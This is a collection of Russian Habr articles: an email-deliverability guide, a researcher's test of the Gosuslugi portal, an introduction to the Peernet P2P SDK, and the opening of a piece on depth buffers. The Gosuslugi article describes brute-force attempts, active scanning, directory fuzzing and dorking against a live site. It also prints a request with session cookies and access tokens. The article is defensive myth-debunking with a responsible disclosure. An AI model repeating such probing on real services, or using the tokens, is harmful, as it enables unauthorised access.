Email-маркетинг – эффективный инструмент взаимодействия с аудиторией, если работать с ним правильно. Ведь он теряет смысл, если ваши письма сразу летят в папку «Спам». Существует множество причин, почему они могут туда попадать. Сегодня мы поговорим о превентивных мерах, которые помогут избежать этой проблемы.
Введение: как попасть в инбокс
------------------------------
Далеко не каждое письмо попадает во «Входящие». Это результат работы алгоритмов почтовых систем. Чтобы алгоритмы пропустили письмо во «Входящие», оно должно соответствовать ряду требований, с которыми желательно ознакомиться перед запуском первых рассылок:
* Mail.ru – [Правила рассылок](https://help.mail.ru/mail-help/postmaster/notification)
* Yandex.ru – [Требования к честным рассылкам](https://yandex.ru/support/mail/web/spam/honest-mailers.html)
* Gmail.com – [Рекомендации по осуществлению массовых рассылок](https://support.google.com/mail/answer/81126?hl=ru)
Также при старте email-рассылок особое внимание стоит уделить:
* техническим настройкам и репутации домена;
* качеству базы;
* контенту сообщений.
Рассмотрим подробнее каждый пункт.
Технические настройки и репутация домена
----------------------------------------
Отправлять рассылки от лица компании нужно только с корпоративного адреса – никаких бесплатных доменов типа `companyname@mail.ru`. Поэтому обязательно заведите корпоративный домен и email-адрес на нем. [Mail.ru](https://biz.mail.ru/mail/) и [Яндекс](https://connect.yandex.ru/pdd/), например, предоставляют возможность разместить на них корпоративную почту совершенно бесплатно.
Большую роль в запуске рассылок играет так называемая репутация домена. Если раньше с него рассылали спам, то почтовые сервисы могли внести его в черный список. Перед запуском рассылок убедитесь, что ваш домен не попал в них. Например, в сервисе DashaMail автоматически происходит такая проверка, когда вы настраиваете свой домен отправки. Если оказалось, что ваш домен значится в каком-то из черных списков, вы увидите рекомендации, как оттуда выбраться.
Для проверки репутации можно также использовать сервисы вроде [Sender Score](https://senderscore.org/) или [Talos Intelligence](https://talosintelligence.com/) от Cisco.
Важный момент: алгоритмы почтовых систем анализируют не только сам домен, с которого отправляются письма, но и домены ссылок в отправляемых сообщениях. Если в письме присутствуют ссылки на сайты из черного списка, то с высокой вероятностью и сам отправитель – спамер. Последствия будут соответствующие.
Помимо репутации домена, почтовые системы анализируют параметры безопасности домена. В частности, наличие настроенных записей SPF, DKIM, DMARC. Вот зачем они нужны:
* **SPF** – по сути это список доверенных серверов, с которых отправитель рассылает свои сообщения. В этот список нужно поместить серверы систем email-рассылок, которые вы используете;
* **DKIM** – цифровая подпись домена, добавляется к каждому письму;
* **DMARC** – эта запись говорит почтовой системе, что нужно сделать с письмом, которое после проверки SPF и DKIM было признано поддельным. Его можно заблокировать или отправить в «Спам».
После настройки своего домена отправки обязательно заведите почтовые офисы основных провайдеров (postmasters), чтобы отслеживать, куда именно попадают ваши письма и что с ними делают получатели.
Вот список основных постмастеров:
* [Почтовый офис Gmail](https://support.google.com/mail/answer/6227174?hl=ru)
* [Постмастер Mail.ru](https://postmaster.mail.ru/)
* [Почтовый офис «Яндекса»](https://postoffice.yandex.ru/)
После того как технические настройки выполнены, можно переходить к работе с базой подписчиков.
Повышение качества базы подписчиков
-----------------------------------
Само собой, покупка адресных баз вместо легального сбора с применением подхода double opt-in – верный путь к проблемам, поэтому так делать не нужно. Но проблемы могут возникнуть, даже если вы легально собирали подписчиков, но дело было давно и рассылок вы не совершали или был долгий перерыв в работе с этой базой.
Во-первых, в такой базе могли накопиться нерабочие адреса и [спам-ловушки](https://dashamail.ru/blog/spam-traps/). Ее нужно обязательно вычистить перед тем, как запускать по ней рассылки.
Очистить базу подписчиков вручную трудно. Но существуют инструменты для решения этой задачи. Например, встроенный в DashaMail [валидатор](http://help.dashamail.ru/ru/articles/1535970-%D0%B2%D0%B0%D0%BB%D0%B8%D0%B4%D0%B0%D1%82%D0%BE%D1%80) проверяет базу подписчиков, удаляет некорректные адреса, а также адреса, с которых высока вероятность жалоб. Работа с базой после чистки валидатором снижает вероятность порчи репутации и попадания в «Спам».
Во-вторых, подписчики могли забыть, что давали согласие на получение рассылок, и начать активно жаловаться на спам. К чему это приведет – понятно. Поэтому первая email-кампания требует особо тщательной подготовки. В первом письме уместно напомнить о том, как подписчик дал согласие на получение рассылки, а также привести доводы, почему рассылка достойна его внимания в дальнейшем.
Работа над контентом
--------------------
На попадание/непопадание письма в «Спам» влияет в том числе и его контент. К примеру, почтовые системы не любят чрезмерно большое количество картинок в письмах. Как минимум 20% вашего письма должен занимать текст.
Также спам-фильтры остро реагируют на слова, которые часто встречаются в нежелательных письмах, например «заработок», «криптовалюты», и на написание капслоком. Не стоит использовать в тексте полные ссылки, они должны быть выполнены в виде текста с гиперссылкой. Точно не следует применять сокращенные ссылки и прикреплять к письму файлы (если их нужно приложить – проще дать ссылку на скачивание).
Что касается верстки шаблонов писем, то не стоит использовать JavaScript, Flash, ActiveX и внешние CSS-стили. Ничего лучше табличной верстки с точки зрения спам-фильтров пока не придумали. Также хорошей идеей будет отправка двух версий писем: HTML и plain-text.
В помощь email-маркетологам DashaMail предлагает встроенный сервис [СтопСпам](https://dashamail.ru/features/stopspam/) – он автоматически проверяет контент письма и сообщает, попадет ли оно в «Спам» в почтовых службах Mail.ru и «Рамблер».
Также важно своевременно анализировать взаимодействия пользователей с рассылками. Если после каждого письма многие отписываются от сообщений, это верный знак, что подписка не соответствует ожиданиям получателей. Нужно менять контент.
Что еще: «прогрев» домена
-------------------------
Три описанных выше пункта – как три кита для грамотного старта рассылок, но это далеко не все, что нужно учесть. При запуске рассылок необходимо провести так называемый прогрев домена. Поговорим об этом подробнее.
Если вы запускаете рассылку писем с нового домена или домен существует какое-то время, но писем с него давно не было, нужна подготовительная работа. Она сводится к тому, чтобы начинать рассылать письма постепенно, наращивая объемы отправляемых сообщений.
То есть в самом начале рассылку получает ограниченный сегмент наиболее лояльных подписчиков. Шаг за шагом объем отправки можно наращивать, но плавно, избегая скачков активности. Каждый день трафик сообщений можно увеличивать не более чем в два раза (лучше меньше): в первый день отправили 500 писем, на следующий можно отправить 1000, затем – 2000, 3000, 5000 и так далее.
Важный момент: степень «прогретости» домена нужно поддерживать. Почтовые системы не любят резких скачков активности, так что стоит соблюдать регулярность рассылок.
Заключение
----------
В завершение резюмируем основные моменты, которые помогут начать работу с почтовыми рассылками и с ходу не попасть в «Спам»:
* **Уделяйте внимание техническим настройкам и репутации**. Есть целый ряд настроек, которые нужно провести, чтобы почтовые системы пропускали письма. Также важно проверять репутацию домена и работать над ее улучшением.
* **Работайте с базой подписчиков**. Даже если вы используете double opt-in, необходимо постоянно мониторить состояние базы, выделять сегменты неактивных пользователей и отдельно реактивировать их.
* **Следите за контентом**. Соблюдайте лучшие практики подготовки писем, а также отслеживайте реакцию подписчиков: если люди отписываются от рассылки, значит, контент не отвечает потребностям и его нужно менять.
* **«Прогревайте» домен**. Нельзя просто взять и начать отправлять много писем. После длительных пауз или в случае нового домена необходимо сначала провести «прогрев», отправляя письма небольшими пачками и постепенно наращивая активность.
* **Используйте технологии**. Делать все вручную сложно. Автоматизируйте то, что можно. В DashaMail мы стараемся помочь с проработкой основных моментов, предоставляя соответствующие инструменты для проверки репутации, валидации базы и оценки контента. Также мы модерируем все рассылки компаний, которые только начинают работу, и помогаем соблюсти все требования почтовых систем.
> Чтобы быть в курсе современных тенденций email-маркетинга в России, получать полезные лайфхаки и наши материалы – подписывайтесь на [страницу DashaMail в Facebook](https://www.facebook.com/servicedashamail/) и читайте наш [блог](https://dashamail.ru/blog/). | https://habr.com/ru/post/478344/ | null | ru | null |
# Взлом госуслуг: мифы и реальность
В последнее время в СМИ обсуждаются множественные случаи взлома портала "Госуслуги". В этой статье я постараюсь выяснить что из этого миф и выдумки, а что является правдой, а для этого придется самому взломать госуслуги.
**Внимание! Данный текст является описанием возможности в экспериментальных целях. Напоминаем, что повтор подобных действий может привести к нарушению законодательства.**
Для экспериментов я использовал свой собственный аккаунт, содержащий доступ к моим данным и данным моего юр лица. Доступ осуществляется как с помощью связки логин/пароль + смс, так и ЭЦП. В ходе экспериментов я буду выключать те или иные функции безопасности аккаунта (чего вам делать крайне не рекомендую) и проверять изменения и возможность захвата аккаунта. Также я зарегистрирую новый аккаунт для проверки функций безопасности, настроенных по-умолчанию.
Верхний аккаунт физ. лицо, защищен при помощи 2FA, нижний, юр. лицо, защищен при помощи ЭЦП.Миф первый. Взлом аккаунта
--------------------------
> Онлайн-мошенники начали взламывать аккаунты граждан на сайте госуслуг и через них брать кредиты и микрозаймы, предупредили опрошенные РБК эксперты. РБК.
>
>
Я предполагаю что журналисты имели ввиду брутфорс аккаунтов, только не знали как это называется. Что ж, проверим насколько аккаунт защищен от атак грубой силы.
Для начала попробуем сбрутить известный мне пароль, добавив его в пару десятков других. В результате через несколько попыток получаю отлуп в виде капчи (формально конечно [reCAPTCHA](https://www.google.com/recaptcha/about/)):
Ок, попробуем другой метод - будем пытаться "попасть" в пароль с первой попытки: для этого возьмем несколько учеток и один пароль (из популярных) и попробуем взломать аккаунт. Базы email/телефонов валяются в интернете на каждом шагу, но я сделаю синтетическую, чтобы случайно не затронуть чужой аккаунт. Возможно к старым аккаунтам получить учетную запись и пароль реально, но вот к свежим аккаунтам это довольно проблематично - система просто не даст создать простой пароль.
Ввод пароля к новому аккаунтуОк, еще можно попробовать взять заведомо валидный или часто встречающийся пароль и попробовать сбрутить логин под эту связку.
Брутфорс по имени пользователяК моему сожалению на третьей попытке получаем капчу (.
Как еще злоумышленники могут получить пароль учетной записи? С помощью фишинга и т.н. [credential stuffing](https://en.wikipedia.org/wiki/Credential_stuffing), используя "утекшие" или скомпрометированные на других ресурсах учетные записи пользователей.
Пример фишинг-сайтаОт такого рода атак (если вы везде используете один пароль) вас спасет только 2FA. Говорить при этом что взломали ваши госуслуги как сервис или почту - ну такое себе.
Провести успешные атаки на аккаунт с ЭЦП не удалось.
**Выводы: взлом аккаунтов на самих госуслугах это миф. Пользовательские аккаунты могут быть захвачены в результате фишинговой/credential stuffing атаки.**
**Рекомендации: включить 2FA, не использовать одинаковые пароли.**
### Миф второй. Может быть уязвимо веб-приложение?
> Интернет-пользователи пожаловались на хакеров, которые взломали их аккаунты на «Госуслугах» и дали согласие на обработку персональных данных для одного из сервисов «Единой России». В партии считают это информационной атакой. Взлом мог затронуть значительное количество пользователей, полагают эксперты по кибербезопасности. Forbes.ru.
>
>
Ну раз эксперты говорят что значительное число, значит скорее всего взломали сайт. Ок, давайте проверим на прочность само веб-приложение и веб-сервисы.
Анализ служебных заголовков, проверка возможности предиктивности кук или сессионных ключей не привели к возможности перехвата чужого аккаунта.
`GET /health/?_=0.37814359301759837&pageId=overview&event=/api/pay/v1/informer/fetch/&timing=987&referrer=https://www.gosuslugi.ru/&result=0&new-lk=true HTTP/1.1 Host: www.gosuslugi.ru Cookie: userSelectedLanguage=ru; usi_portal=rBApZWEatnY7Ga/NXc+tAg==; TS01725984=01474e7625a71dda9f8456d6ce5cd5dc41ef0a96249ef858efe85de5e983f9201abd763e4e56ecc2246ef9c01435f9883b192ef137e28d0929808520b579d93803ed91d91568b1f83ebc088aca999ee10393da247ae222a208b24e0ed85c09d5ee5fca8e25; TS01f05634=01474e7625fcda3a0e24f4b7579b3dbc89b2cf6aeba3b975dc39efce481f1bfe2918eb3adfa394893f39f8222c918bca249796ef5fbaecc29e0a0a4aae58505c8c8ec858d8e168be74c3f657bf3a654508289c4f7fd57bbb17edf1f090f3cce2d572ff98b9ba8d695b141102f50f102b58b4f2e76b; userSelectedRegion=25401000000; ns-nlb=ffffffffaf18361245525d5f4f58455e445a4a423660; timezone=3; login_value=XXXX; bs=gixPqiaMdSyF7xRHfD4UZzuqvbvnKGgr4PaZjoLtbsbfPyLSltE-tX-dNcSlExYQjoOu7fUiZIzJAZzADA79buS_BYfmP_AKZTDfpYmhDmizTmEdLUwKP-eNbP2nskZFob2l-LRt5B5FDxy3_93mZkvgj9rQQRVj5ziqe031VV8R4aby8VczbjfodDDo6toZCc8h2usCjiA9Cj6SYyOpPyKbeIZ9XqeTS0PRiEelzghwOkpYvEl7WnP8KO69YNO8UeYbIWFZMYKrMkSfJI6guzamRhlNhGpOtllbU0Di5KR1LQDnSWd44ylThA-68cFPNERdhCJ2PkWrByIYVFx9G-6W-deh_Icd-bouk7yZyRu95ln9Zfl-17jTJOgoMfZt5F34jGEza78RytYza5QTYljyzFZxeFq_U8ddwfI3chscFwURN5cgfTyXy8aiY_w3Eyasu2reh9WzrCBbehn1hw|MTYyOTE0MTMzNg|U0gxQVMxMjhDQkM|yqpAYnGPY4EpY3wDXOJpBA|ZKg3q_Wol4sWJx38nbEUv0Lf9XE; NSC_q00qhvtubu=ffffffffaf18375345525d5f4f58455e445a4a423660; acc_t=eyJ2ZXIiOjEsInR5cCI4IkpXVCIsInNidCI6ImFjY2VzcyIsImFsZyI6IlJTMjU2In0.eyJuYmYiOjE2MjkxNDEzNDcsInNjb3BlIjoiaHR0cDpcL1wvZXNpYS5nb3N1c2x1Z2kucnVcL3Vzcl9pbmY_bW9kZT13Jm9pZD0xMTUzNjYzNDkzIGh0dHA6XC9cL2VzaWEuZ29zdXNsdWdpLnJ1XC91c3Jfc2VjP21vZGU9dyZvaWQ9MTE1MzY2MzQ5MyBvcGVuaWQgaHR0cDpcL1wvZXNpYS5nb3N1c2x1Z2kucnVcL3Vzcl90cm0_bW9kZT13Jm9pZD0xMTUzNjYzNDkzIiwiaXNzIjoiaHR0cDpcL1wvZXNpYS5nb3N1c2x1Z2kucnVcLyIsInVybjplc2lhOnNpZCI6IjE2ODg2NTU4LTk0YTAtNDEyYS05MWM2LWFmNjExZDgzNDA3MiIsInVybjplc2lhOnNial9pZCI6MTE1MzY2MzQ5MywiZXhwIjoxNjI5MTc3MzQ3LCJpYXQiOjE2MjkxNDEzNDcsImNsaWVudF9pZCI6IlBHVSJ9.UJiZPWQ_WpX6GB_U9SNQQJqgCVHKn0YmuAx5lCCqkfxV2nx7KYqtU3X6_IXRoCvNE2HHRdtYJkQ2WRzD7wjbUxuutHsByMLy-YNzIW-eR4ts8bWMwChykIifQoyp6wuliLSihBIkpoqBsRYf7CyxXZqWvyDupWEkQkwFfHc_r4VbO0IN89nedrcjPuVQsRMIhsle8Zwhlr9OU-whvBxIPQsHJFZTPB4HuuNfZbjR1l4f5MyqqulYh5njfj0rk7oPgYimAtF5lU5GuJMtDmggRLj7dbRg95kRTMtbJrgJD2FEP2nNBh-ez_y8sZX3SppnYGCy6ga9V_OW1C6ylKNjhA; u=1153663493; nau=b1d60b0a-cfea-5cfb-47b3-73f3beb22879; marked_as_delivered=eyJ2ZXIiOjEsInR5cCI6IkpXVCIsInNidCI6ImFjY2VzcyIsImFsZyI6IlJTMjU2In0.eyJuYmYiOjE2MjkxNDEzNDcsInNjb3BlIjoiaHR0cDpcL1wvZXNpYS5nb3N1c2x1Z2kucnVcL3Vzcl9pbmY_bW9kZT13Jm9pZD0xMTUzNjYzNDkzIGh0dHA6XC9cL2VzaWEuZ29zdXNsdWdpLnJ1XC91c3Jfc2VjP21vZGU9dyZvaWQ9MTE1MzY2MzQ5MyBvcGVuaWQgaHR0cDpcL1wvZXNpYS5nb3N1c2x1Z2kucnVcL3Vzcl90cm0_bW9kZT13Jm9pZD0xMTUzNjYzNDkzIiwiaXNzIjoiaHR0cDpcL1wvZXNpYS5nb3N1c2x1Z2kucnVcLyIsInVybjplc2lhOnNpZCI6IjE2ODg2NTU4LTk0YTAtNDEyYS05MWM2LWFmNjExZDgzNDA3MiIsInVybjplc2lhOnNial9pZCI6MTE1MzY2MzQ5MywiZXhwIjoxNjI5MTc3MzQ3LCJpYXQiOjE2MjkxNDEzNDcsImNsaWVudF9pZCI6IlBHVSJ9.UJiZPWQ_WpX6GB_U9SNQQJqgCVHKn0YmuAx5lCCqkfxV2nx7KYqtU3X6_IXRoCvNE2HHRdtYJkQ2WRzD7wjbUxuutHsByMLy-YNzIW-eR4ts8bWMwChykIifQoyp6wuliLSihBIkpoqBsRYf7CyxXZqWvyDupWEkQkwFfHc_r4VbO0IN89nedrcjPuVQsRMIhsle8Zwhlr9OU-whvBxIPQsHJFZTPB4HuuNfZbjR1l4f5MyqqulYh5njfj0rk7oPgYimAtF5lU5GuJMtDmggRLj7dbRg95kRTMtbJrgJD2FEP2nNBh-ez_y8sZX3SppnYGCy6ga9V_OW1C6ylKNjhA; ns-nlb-ds=ffffffffaf18365645525d5f4f58455e445a4a423660 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: */* Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Dnt: 1 Referer: https://lk.gosuslugi.ru/ Sec-Fetch-Dest: script Sec-Fetch-Mode: no-cors Sec-Fetch-Site: same-site Te: trailers Connection: close`
Ничего интересного обнаружить не удалось, далее проверим сайт на уязвимости по [OWASP TOP 10](https://owasp.org/www-project-top-ten/). Для этого я попытался использовать OWASP ZAP и Burp Suite Pro в режиме активных сканеров и получал ожидаемую капчу и блокировку WAF'ом.
Ок, автоматика нам не помогла, поищем "руками". В течение пары часов потыкав формы и параметры удалось обнаружить self-XSS в third-party сервисе, но раскрутить эту уязвимость до приемлемого вектора не удалось, да и уязвимость "такая себе", что ее зачастую не валидируют и в [bug bounty](https://bugbounty.ru) программах.
Self-XSS. Можно выстрелить себе в ногу.Хотя уязвимость и пустяковая - на всякий случай зарепортил через контакты, оставленные по известному многим исследователям и багхантерами well-known пути: [gosuslugi.ru/security.txt](http://gosuslugi.ru/security.txt).
`# Rostelecom Cybersecurity Center responsible for vulnerability management and incident response Contact: mailto:infosec@gosuslugi.ru`
`# Our OpenPGP key Encryption: https://gosuslugi.ru/.well-known/pgp-key.txt`
`Expires: Sun, 21 Jul 2026 08:00:00 +0300`
Дальнейшие попытки для выявления более серьезных векторов нещадно карались защитными средствами. Были выявлены несколько вроде как устаревших js-библиотек, но проэксплуатировать эти уязвимости не представлялось возможным. Также было выявлено несколько мелких логических уязвимостей.
**Выводы: взлом сайта госуслуги является мифом. Даже если высококвалифицированный злоумышленник и сможет что-то найти, то при попытке эксплуатации/обхода средств защиты получит бан ~~и пативен от команды SOC.~~**
**Рекомендации: внедрение** [**bug bounty**](https://bugbounty.ru) **программы для выявления логических уязвимостей.**
Миф третий. Утечка данных
-------------------------
> Но эксперты по кибербезопасности уверены: произошла утечка информации с серверов портала. Благодаря этому аферисты легко могут подменить данные для входа в систему и получить доступ к любому аккаунту. Vesti.ru
>
>
Опять послушаем экспертов и попробуем поискать утечки. В первую очередь используем [google-dork](https://www.exploit-db.com/google-hacking-database)'и.
Поиск pdf-файлов.Ничего полезного найти не удалось, поэтому решено было продирбастить каталоги и файлы, вдруг разработчики оставили что-то критичное. Пришлось немного оттюнить выхлоп ffuf, чтобы отсеять лишнее.
Ffuf отработал, нашлось немного (При анализе найденных файлов не удалось найти какую-то критичную информацию.
Даже в комментариях к коду разработчики не оставили никаких "пасхалок".Поиск по github'у и внешним источникам тоже не дал вразумительного результата.
В основном попадались сервисы обращений, какие-то скраперы и т.д.Проверка теневых форумов также не выявила возможностей получить/купить доступ или аккаунты.
Ничего интересного найти не удалось.**Выводы: Массовая утечка аккаунтов это миф. В публичном доступе на момент публикации статьи отсутствуют данные о каких-либо утечках.**
**Рекомендации: использовать средства мониторинга внешних источников.**
### Миф четвертый. Берем кредит на госуслугах
> Особое возмущение Ивана Цыбина вызвал тот факт, что с помощью портала «Госуслуг» можно подтвердить личность любому кредитному учреждению и брать займы. Fontanka.ru
>
>
Ок, проверим что же это такое. Найдем сайт (их тысячи) оформления кредита и попробуем авторизоваться через госуслуги.
Авторизация в сервисе.Действительно, авторизоваться в сервисе можно с помощью госуслуг, но в тоже время это можно сделать и через соцсети/почту и т.д.
При наличии 2FA авторизации необходимо ввести еще и смс и только тогда сторонний сайт получит доступ к вашим данным.
Давайте разберем подробнее. Ваша верифицированная учетная запись содержит ваши персональные данные - паспорт, СНИЛС, ИНН - это как ваш бумажник, только электронный.
Для идентификации ваших данных на различных ресурсах может использоваться [Единая Система Идентификации и Аутентификации портала Госуслуг](https://ru.wikipedia.org/wiki/%D0%95%D0%B4%D0%B8%D0%BD%D0%B0%D1%8F_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D0%B0_%D0%B8%D0%B4%D0%B5%D0%BD%D1%82%D0%B8%D1%84%D0%B8%D0%BA%D0%B0%D1%86%D0%B8%D0%B8_%D0%B8_%D0%B0%D1%83%D1%82%D0%B5%D0%BD%D1%82%D0%B8%D1%84%D0%B8%D0%BA%D0%B0%D1%86%D0%B8%D0%B8), условно это аналог знакомого многим [OAuth](https://ru.wikipedia.org/wiki/OAuth). Что это значит: в онлайн - микрозаймы удостоверяют ваши данные с помощью ЕСИА > госуслуги/соцсеть/почта подтверждают ваши данные > микрозайм выдает кредит (не госуслуги!). Оффлайн: вы приходите в микрозаймы > даете паспорт > микрозайм выдает кредит (не паспортный стол!). Я думаю аналогия понятна.
> Можно ли получить микрозаем через Госуслуги: <https://www.gosuslugi.ru/help/news/2019_02_06_microloan>
>
>
**Выводы: выдача кредитов госуслугами это миф. Кредиты выдают микрозаймовые организации.**
**Рекомендации: по умолчанию всем пользователям включить использование дополнительных средств верификации/MFA.**
Цифровая гигиена
----------------
Если вы живете в эпоху цифровизации и хотите безопасно пользоваться ее плодами - следуйте нескольким простым советам (это касается не только госуслуг):
Защитите свои данные.Тем более что и на самих госуслугах это крайне рекомендуют.
Подытожим:
* Используйте сложный, уникальный пароль от аккаунта.
* Включите двухфакторную аутентификацию по смс/с помощью специального приложения.
* Включите историю входов и активностей.
* Расскажите про это и проверьте [настройки](https://lk.gosuslugi.ru/settings/login) у ваших родственников/знакомых чтобы обезопасить их данные. | https://habr.com/ru/post/569370/ | null | ru | null |
# Децентрализируй это. Создание сетей хранения без единого центра на Go
Сеть Интернет по своей архитектуре допускает возможность прямого обмена трафиком между любыми узлами, но все же в большинстве сценариев используется асимметричный вариант использования с относительно небольшим количеством узлов, отдающих содержание (объединенных в CDN, кэширующие сети (например, Google Global Cache), либо отдельные зеркала, расположенные на высокоскоростных каналах). При многих достоинствах такой подход не лишен и серъезных недостатков, прежде всего из-за значительной разбалансированности сети и перегрузке некоторых каналов связи при относительно небольшом трафике на других.
Решением этой проблемы могло стать использование сетей, основанных на прямом обмене трафиком (peer-to-peer или p2p), но создание полностью децентрализованной сети представляет значительную сложность, поэтому во многих случаях все же оставляют некоторые общие реестры, хранящие информацию об узлах-носителях определенного содержания (так, например, работают торрент-трекеры) и на которых регистрируются клиенты сети при подключении. Основным недостатком такого псевдодентрализованного подхода является возможность относительно простой остановки функционирования сети через блокировку соответствующих трекеров. Альтернативой могут быть полностью децентрализованные сети и мы рассмотрим в этой статье основные подходы к их реализации на примере свободного протокола и сети [Peernet](https://peernet.org/).
Прежде всего договоримся о терминологии:
* **peer** - это участник сети обмена трафиком, предоставляет в общее пользование информацию, адресуемую по названию или хэшу содержания
* **network** - виртуальное объединение peer, чаще всего каждый peer сохраняет информацию о нескольких доступных. Network строится поверх существующих протоколов маршрутизации и во многих случаях протоколы сети относятся к уровню приложения.
* **hash** - цифровая подпись, которая создается по содержанию хранимого объекта и достаточно большой длины, чтобы уменьшить вероятность коллизий
* **chunk** - единица содержания (блок), часто для оптимизации работы сети peer представляют информации в виде набора блоков, и peer может содержать неполный файл (например, если загрузка еще не была завершена), но загруженные блоки уже становятся доступны для загрузки другими peer
* **DHT (Distributed Hash Table)** - распределенная между peer таблица размещения содержания, создается динамически и обновляется при появлении-удалении peer из сети
* **root peer** - наиболее известные peer, адреса которых известны и которые ожидаются быть доступными в сети продолжительное время. Важно, что даже при отсутствии root peer сеть не потеряет функциональность, но процесс составления топологии сети будет замедлен
* **broadcast** - механизм доставки сообщений в сетях, при которых получателями являются все доступные узлы
* **multicast** - механизм подписки на получение сообщений со специального группового адреса, позволяет доставлять сообщение любому количеству получателей без необходимости дублирования пакетов и увеличения загрузки сетевого канала
* **UPnP (Universal plug and play)** - архитектура прямого взаимодействия устройств в сети (может использовать mDNS или другие механизмы для взаимного обнаружения устройств и уведомления о доступных возможностях)
* **Blockchain** - может использоваться дополнительно для создания механизма коллективной валидации выполненных транзакций (например, публикации нового файла или обновления информации о топологии сети).
* **UDP Hole Punching (Reliable UDP)** - протокол для организации возможности прямого взаимодействия peer, находящихся за NAT (Network Address Translation)-шлюзами (например, любой домашний wi-fi router).
При создании сети также необходимо предусмотреть возможность шифрования передаваемых данных и взаимной валидации peer (с использованием инфраструктуры открытых ключей или иным способом, например через blockchain).
Наиболее сложны в реализации для распределенных сетей алгоритмы обнаружения соседних peer (здесь можно использовать возможности broadcast-рассылок по локальной сети, root peer для получения информации о доступных peer вблизи (или внутри) нашей автономной системы от корневых peer, а также могут использовать публичные дайджесты со списком активных peer, кэширующие серверы, собирающие актуальную информацию о доступности peer в сети и др. Также peer должен контролировать сохранность информации о топологии (например, рассылая периодические ping-сообщения другим peer) и обновлять свою локальную копию списка доступных peer. Также peer сохраняет свою часть распределенной хэш-таблицы и получает копию таблиц других известных peer.
Вторая значительная сложность полностью децентрализованных сетей - поиск запрашиваемых пользователей элементов содержания. Идеальная ситуация - когда пользователь уже имеет хэш необходимого содержания (например, такой механизм используется в magnet-links в протоколе Torrent, либо в сетях с контентно-адресуемыми ресурсами, например Interplanetary Filesystem ([IPFS](https://docs.ipfs.tech/concepts/what-is-ipfs/)). В случае, если пользователь ищет содержание по названию файла, есть значительная вероятность, что на разных peer файл может иметь различные названия. В этом случае peer должен предоставить два механизма поиска:
* по фрагменту названия (в этом случае первый peer, который вернет совпадение, будет считаться источником названия файла, а в остальных peer поиск будет выполняться уже по хэшу);
* по хэшу содержания (преимущественный способ, используется если известен хэш, например после получения первого результат поиска).
Для создания распределенной таблицы хэшей (DHT) часто используют [OpenDHT](https://github.com/savoirfairelinux/opendht) или [Kademlia](https://github.com/topics/kademlia). Среди наиболее известных реализаций децентрализованных сетей известны Gnutella (Napster), EDonkey (ED2K),
Среди существующих решений, которые реализуют модель p2p-распределенного хранения можно назвать [PeerGos](https://github.com/Peergos/Peergos), [Filecoin](https://spec.filecoin.io/libraries/libp2p/), [Plexus](https://github.com/Nephys/plexus), [Somnia](https://github.com/ep2p/somnia), [Torrent без трекеров](https://github.com/topics/mainline-dht). Мы рассмотрим пример запуска децентрализованной сети хранения на основе Peernet, который представляет как протокол взаимодействия peer, так и SDK на Go, а также клиент для Android, утилиту командной строки и расширения браузера для доступа к ресурсам peernet. Библиотека для поддержки Android собирается с использованием Gomobile, который был рассмотрен в [этой](https://habr.com/ru/company/otus/blog/698140/) статье.
Peernet core отвечает за запуск peer и подключение к существующей сети. Для идентификации peer используется закрытый ключ, который генерируется при первом запуске. Для программного запуска peer можно использовать следующий фрагмент кода:
```
package main
import (
"fmt"
"github.com/PeernetOfficial/core"
)
func main() {
backend, status, err := core.Init("MyNetwork/1.0", "Config.yaml", nil, nil)
if status != core.ExitSuccess {
fmt.Printf("Error %d initializing backend: %s\n", status, err.Error())
return
}
backend.Connect()
}
```
Также может быть запущен webapi (для этого можно использовать как пакет github.com/PeernetOfficial/core/webapi, так и возможности утилиты командной строки, в этом случае в ней указывается интерфейс и порт для публикации webapi, а также уникальный UUID для API Key). WebAPI представляет возможности для получения актуального состояния сервера, управления warehouse (виртуальная группа публикации ресурсов), поиска содержания, регистрации peer в blockchain, публикации ресурсов и запросе для получения локальной копии ресурса (скачивания из сети). Ресурсы идентифицируются по названию, дате создания, типу файла (перечисление) и хэшу. Более подробно возможности webapi можно посмотреть в [документации](https://github.com/PeernetOfficial/core/tree/master/webapi).
После подключения к сети (для этого используются возможности root peers, обнаружение через UPnP и broadcast в локальной сети, поиск через Kademlia DHT) peer регистрируется в общем blockchain и передает в него свою хэш-таблицу. При поиске информации из других peer также используется blockchain и поисковые возможности, предоставляемые API. По запросу к API ресурс может быть загружен локально (при этом он становится доступным для других peer сети), также можно опубликовать новый ресурс (для файла публикуются метаданные, определяется хэш и описание добавляется в Blockchain DHT).
Конфигурация peer определяет адреса root peer (по умолчанию указано 5), расположение каталогов для хранения логов, blockchain, warehouse, каталога с данными и GeoIP-базы данных. Также можно разрешить использовать UPnP и настройки firewall, настройки кэша blockchain.
Узнать текущее состояние подключения к сети можно как через API, так и через утилиту командной строки:
* `status` - текущее состояние публикации;
* `peer list` - получить информацию о подключенных соседних peer;
* `debug key self` - получить информацию о текущей паре с открытым ключом;
* `debug key create` - создать новую пару с открытым ключом.
Peernet выглядит очень интересным и достаточно быстрым решением для реализации архитектуры полностью децентрализованного хранения и может использоваться как для создания транспорта для уменьшения нагрузки на глобальную сеть, так и для создания децентрализованных p2p-приложений с разделяемыми данными.
Материал подготовлен в преддверии старта курса "[Архитектура и шаблоны проектирования](https://otus.pw/B7WD/)". Также по [ссылке](https://otus.pw/B7WD/) вы найдете запись бесплатного урока курса.
* [Узнать подробнее о курсе](https://otus.pw/B7WD/) | https://habr.com/ru/post/700808/ | null | ru | null |
# Иерархический буфер глубин
Краткий обзор
=============
Иерархический буфер глубин — это многоуровневый буфер глуби (Z-буфер), используемый как ускоряющая структура (acceleration structure) для запросов глубин. Как и в случае mip-цепочек текстур, размеры каждого уровня обычно являются результатами деления на степени двойки размеров буфера полного разрешения. В этой статье я расскажу о двух способах генерации иерархического буфера глубин из буфера полного разрешения.
Сначала я покажу, как генерировать полную mip-цепочку для буфера глубин, сохраняющую точность запросов глубин в пространстве координат текстуры (или NDC) даже для размеров буферов глубин, не равных степеням двойки. (В Интернете мне встречались примеры кода, не гарантирующие этой точности, что усложняет выполнение точных запросов на высоких mip-уровнях.)
